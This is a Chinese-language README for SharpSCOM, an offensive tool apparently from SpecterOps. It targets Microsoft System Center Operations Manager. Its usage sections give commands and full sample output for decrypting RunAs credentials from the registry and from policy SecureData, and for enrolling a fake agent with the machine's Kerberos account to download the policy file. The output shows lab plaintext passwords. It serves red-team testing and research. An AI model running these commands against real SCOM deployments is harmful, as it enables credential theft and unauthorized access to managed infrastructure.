# SharpSCOM 一个用于与 Microsoft System Center Operations Manager (SCOM) 交互的 C# 工具。 该工具已在 SCOM Server 版本 `10.22.10118.0` 上完成测试。 SSPI 集成通过 Kevin Thompson (antiduh) 发布的 [nsspi](https://github.com/antiduh/nsspi) 库提供,该库以 BSD-2 许可证发布。 ## 命令行用法 ``` █▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█ ▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █ 作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1 用法:SharpSCOM <command> [options] 命令: RegisterAgent 向 SCOM 服务器注册新代理 RegisterCertificate 为现有代理分配证书 RequestPolicy 从 SCOM 服务器请求策略 DownloadPolicy 从 SCOM 服务器下载策略 AutoEnroll 发送由 RegisterAgent、RegisterCertificate 和 RequestPolicy 组成的多部分请求,并尝试自动下载策略 DecryptPolicy 解密策略文件中的 SecureData 部分 DecryptRunAs 从注册表中提取并解密 RunAs 凭据 常用选项: /hostname:<name> 计算机主机名(默认:当前机器) /managementgroup:<mg> SCOM 管理组名称 /server:<server> SCOM 服务器地址 /port:<port> SCOM 服务器端口(默认:5723) /outfile:<file> 输出文件路径 /data:<base64> 以 Base64 编码的数据 /key:<xml> 以 XML 格式表示的 RSA 私钥 /verbose 启用详细输出 /help 显示此帮助信息 示例: SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml SharpSCOM DecryptRunAs ``` ## 示例(主机内命令) 以下命令旨在当前已注册到 SCOM 的服务器上运行。如果 RunAs 凭据正在使用且已分发到服务器,我们可以使用以下命令恢复明文凭据。 ### 提取 RunAs 凭据(DPAPI) 从注册表中提取并解密 RunAs 凭据(需要本地管理员权限): ``` SharpSCOM.exe decryptrunas █▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█ ▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █ 作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1 [+] 正在注册表中搜索 RunAs 凭据... [+] 找到 4 个凭据 用户名:ludus\opsmgr_action 密码:Password123 用户名:ludus\opsmgr_dataread 密码:Password123 用户名:ludus\opsmgr_datawrite 密码:Password123 用户名:ludus\runas_account 密码:SuperSecure! [+] 完成 ``` ### 从 Policy.xml SecureData 中提取 RunAs 凭据 提取并解密存储在代理策略 XML 文件的 `SecureData` 部分中的 RunAs 凭据。默认情况下,该文件位于 `C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config` 此命令将在 `Local Machine\Microsoft Monitoring Agent` 证书存储中定位当前的 SCOM RunAs 证书,并使用关联的私钥进行解密。 ``` SharpSCOM DecryptPolicy /data:<base64-encrypted-data> █▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█ ▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █ 作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1 [+] 正在尝试解密策略数据... [+] 正在使用证书存储中的证书 [+] 在 Microsoft Monitoring Agent 存储中找到证书 [+] 主题:O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain [+] 颁发者:O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain [+] 指纹:88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F [+] 密钥大小:2048 [+] 已成功从证书加载 RSA 密钥 [+] SecureData 解密成功! <SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer> ``` ## 示例(主机外命令) 如果我们控制了一台已加入域但**尚未**注册到 SCOM 的主机,并且满足以下要求,则可以尝试注册该设备并请求代理策略 XML 文件。 要求: - 以计算机帐户身份进行 Kerberos 身份验证 - 启用自动注册 要注册新设备,SCOM 代理将向 SCOM 服务器发送以下 4 条消息。 | 命令 | 描述 | |---------|-------------| | `RegisterAgent` | 向 SCOM 服务器注册新代理 | | `RegisterCertificate` | 为现有代理分配证书 | | `RequestPolicy` | 从 SCOM 服务器请求策略 | | `DownloadPolicy` | 从 SCOM 服务器下载策略 | 出于测试目的,可以使用 SharpSCOM 中相应的命令将上述每条消息单独发送到 SCOM 服务器。 > 注意:SCOM 服务器期望这些消息作为多消息请求的一部分一并接收。为了可靠地获取代理策略文件,我们必须使用 `AutoEnroll` 命令,该命令会将 `RegisterAgent`、`RegisterCertificate` 和 `RequestPolicy` 命令作为多部分消息一并发送。 发送 `AutoEnroll` 命令后,来自 SCOM 服务器的响应将被自动解析,并用于生成最终的 `DownloadPolicy` 消息,以下载代理策略 XML 文件。 ### 自动注册新代理 ```bash SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml █▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█ ▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █ 作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1 [+] 使用主机名:fake1.ludus.domain (24849d66-ef29-d6c4-4ff1-3e77a3e37a54) [+] 使用管理组:SCOM1 (f0bc91d0-6de8-1fa8-d6bd-eb98f66672ad) [+] 服务器:scom-om1.ludus.domain:5723 [+] 正在准备发送多部分代理消息... [+] 正在连接到 scom-om1.ludus.domain:5723 [+] 正在执行 Kerberos SSPI 身份验证... [+] 身份验证成功! [+] 客户端授权机构: [+] 客户端上下文用户:LUDUS.DOMAIN\fake1$ [+] 客户端会话密钥:FF-36-61-D8-3D-53-71-B4-F8-4F-AA-E5-D4-0F-FA-1B-1F-34-15-62-F7-F4-3F-11-16-15-4B-47-1F-25-8B-59 [+] 正在生成代理注册消息 [+] 正在生成代理证书消息 [+] 正在为 fake1.ludus.domain 生成新代理证书 [+] 主题:CN=fake1.ludus.domain, OU=RunAs Account Encryption, O=Microsoft [+] 序列号:4718FEBFD26B45A24405206C262C1F66 [+] 生效日期:10/26/2025 2:32:48 AM UTC [+] 失效日期:10/26/2026 2:32:48 AM UTC [+] 指纹:7AA2A863985A965AA7E42061F5D344D17B68DB23 [+] 公钥(十六进制):<REDACTED FOR BREVITY> [+] 证书(DER Base64):<REDACTED FOR BREVITY> [+] 私钥(XML):<RSAKeyValue><Modulus><REDACTED FOR BREVITY></D></RSAKeyValue> [+] 正在生成代理策略请求 [+] 正在发送多部分代理消息... [+] 正在向服务器发送 1174 字节... [+] [AGENT >>>>>> SCOM] [ENCRYPT] 明文包装令牌(base64):<REDACTED FOR BREVITY> [+] [AGENT >>>>>> SCOM] [ENCRYPT] zlib 解压缩后的包装令牌(base64):<REDACTED FOR BREVITY> [+] 正在等待服务器响应... [+] [AGENT <<<<<<<<< SCOM] [DECRYPT] 明文包装令牌(base64):AyBzGQQgBCD+AAAA0QAAAHicm+eqwsHEwMDxjoGBgRmInXz9fdkZGRgMU+ZOiYjOWtL8f0tTQMJz9pOB3j12jrKrVm3W2Gnw/8VfT6A6DqB6oF4G8RQGBnT5tLktKprvj1zz/2hXvvhxVYi32x2gqQwMp1v5QBRDE1SvBTOYy3A2HkIDzRIA0YwMGkAyjcGUwYjBmMGSIQUIzRl0GVIZkoBiIJYJkG3BkAxkWQDFjBgMgSxjICsJKJsKps0YEoEiyUCVegwVDLkMOQyPTyi9SCl/4Nd7NF7jsMvBEgDLhkBP [+] [AGENT <<<<<<<<< SCOM] [DECRYPT] zlib 解压缩后的包装令牌(base64):nkUkCAIAAAjuAAAAAwAAAEJNT00HAQAAMWSdlFhbaqSD/7SCUGDnB8lRS4w+QR2qqrMouTD/6P1JTU9NCAAAAAIAAAAXZAAAyVFLjD5BHaqqsyi5MP/o/WadhCQp78TWT/E+d6PjelRLRtwBAAAAAMuFDgAAAAAAggAAAAIAAAA4AwAAAAAAAM1fAAAAAAAAF2QAEAAAAAABACgAAABmADUAMgAzADkAZABkADcALQBlAGIANQA3AC0ANABlADgAYwAtADgAYgAyADEALQAzAGIAYgA3AGUAYgBiADYAYQAzAGMANAAuAHgAbQBsAOPIIuhkd+BOjcVfKMNEwXQ= [+] 从服务器收到 225 字节 [+] 收到服务器注册响应 [+] 正在生成策略下载消息 [+] server_guid: C9-51-4B-8C-3E-41-1D-AA-AA-B3-28-B9-30-FF-E8-FD [+] policy_guid: E3-C8-22-E8-64-77-E0-4E-8D-C5-5F-28-C3-44-C1-74 [+] policy_length_1: CD-5F-00-00 [+] policy_length_2: 38-03-00-00 [+] 正在向服务器发送 148 字节... [+] [AGENT >>>>>> SCOM] [ENCRYPT] 明文包装令牌(base64):AyBzGQQgBCCoAAAAhAAAAHicm+eqwsHMwMAwA4hBtJOvvy87IwODYcrcKRHRWUua/29pCkh4zp42t0VF8/2Ra/4f7coXP64K8QSq44TqEU9hYECXPxno3WPnKLtq1WaNnQb/X/x1crsDNJWBgZUBAnSA2IIZwmZkQAVn4xkYHp9QepFS/sCv92i8xmGXgyUA73oyHQ== [+] [AGENT >>>>>> SCOM] [ENCRYPT] zlib 解压缩后的包装令牌(base64):nkUkCAMAAACYAAAAAwAAAEJNT00HAQAAMWSdlFhbaqSD/7SCUGDnB2adhCQp78TWT/E+d6PjelRJTU9NCQAAAAMAAAAXZAAAZp2EJCnvxNZP8T53o+N6VMlRS4w+QR2qqrMouTD/6P1CRtwBAAAAAAUAAAAAAAAALAAAADgDAAAAAAAAAQAAAAAAAAAAAAAAAAAAAM1fAADjyCLoZHfgTo3FXyjDRMF0 [+] 正在等待服务器响应... [+] [AGENT <<<<<<<<< SCOM] [DECRYPT] 明文包装令牌(base64):<REDACTED FOR BREVITY> [+] [AGENT <<<<<<<<< SCOM] [DECRYPT] zlib 解压缩后的包装令牌(base64):<REDACTED FOR BREVITY> [+] 从服务器收到 8655 字节 [+] 已成功将策略 XML 写入 C:\Users\domainadmin\desktop\policy_new.xml [+] 完成 [+] 已断开与服务器的连接 ``` ### 解密收到的代理策略 XML 文件 收到策略文件后,我们可以提取 `SecureData` 部分,并使用与代理证书关联的私钥进行解密。 ``` SharpSCOM.exe decryptpolicy /data:"DAEAAAECAAAQZgA<REDACTED FOR BREVITY> /key:<RSAKeyValue><Modulus><REDACTED FOR BREVITY></D></RSAKeyValue> █▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█ ▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █ 作者:Matt Johnson (@breakfix) - SpecterOps - v0.0.1 [+] 正在尝试解密策略数据... [+] 正在使用 XML 中的私钥 [+] 密钥大小:2048 [+] 已成功从 XML 加载 RSA 密钥 [+] SecureData 解密成功! <SecureStorageContainer><SecureStorageReferences><Added /><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer> ``` ## 许可证 本项目基于 BSD 3-Clause 许可证授权——详情请参阅 LICENSE 文件。 ## 免责声明 此工具仅供教育和授权的安全测试使用。在针对任何 SCOM 基础设施使用此工具之前,请确保您已获得适当的授权。 ## 作者 Matt Johnson (@breakfix) - SpecterOps ## 参考资料 请参阅随附的博客文章:https://specterops.io/blog/2025/12/10/scommand-and-conquer-attacking-system-center-operations-manager-part-2/